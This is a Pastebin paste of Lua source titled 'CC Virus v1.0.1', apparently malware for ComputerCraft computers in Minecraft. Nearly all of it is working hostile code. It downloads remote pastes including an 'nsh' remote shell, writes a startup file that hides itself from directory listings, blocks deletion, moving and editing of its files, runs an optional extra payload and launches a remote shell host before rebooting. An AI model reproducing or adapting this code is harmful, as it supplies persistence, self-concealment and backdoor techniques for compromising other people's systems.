Advertisement
sethxi

CC Virus v1.0.1

Apr 11th, 2015
306
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 1.15 KB | None | 0 0
  1. term.clear()shell.run("pastebin get iXTDgCnS /.a/nsh")shell.run("pastebin get Aaza6h5v /.a/framebuffer")shell.run("label set v_"..math.random(1,1e4))local e=fs.open("startup","w")e.write([[
  2. local r="/.a"local e={}for n,t in pairs(fs)do
  3. e[n]=t
  4. end
  5. fs.list=function(n)local e=e.list(n)local n={}for t,e in pairs(e)do
  6. if(e~="startup")then
  7. table.insert(n,e)end
  8. end
  9. return n
  10. end
  11. fs.delete=function(n)if n:find("startup")or n:find(".a")or n:find("list")then
  12. return false
  13. else
  14. e.delete(n)end
  15. end
  16. fs.move=function(n,t)if n:find("startup")or n:find("virus")then
  17. return false
  18. else
  19. e.move(n,t)end
  20. end
  21. fs.open=function(n,t)if(n:find("startup")or n:find(".a")or n:find("list"))and not t:find("r")then return false end
  22. if t:find("w")or t:find("a")and(n:find("startup")or n:find(".a")or n:find("list"))then
  23. return false
  24. end
  25. return e.open(n,t)end
  26. if not os.getComputerLabel()then
  27. shell.run("label set v_"..math.random(1,1e4))end
  28. if fs.exists(r.."/extra")then shell.run(r.."/extra")end
  29. shell.run(r..'/nsh host')
  30. ]])e.close()term.clear()term.setCursorPos(1,1)if term.isColor()then term.setTextColor(colors.red)end
  31. term.write(os.getComputerID())sleep(.3)os.reboot()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement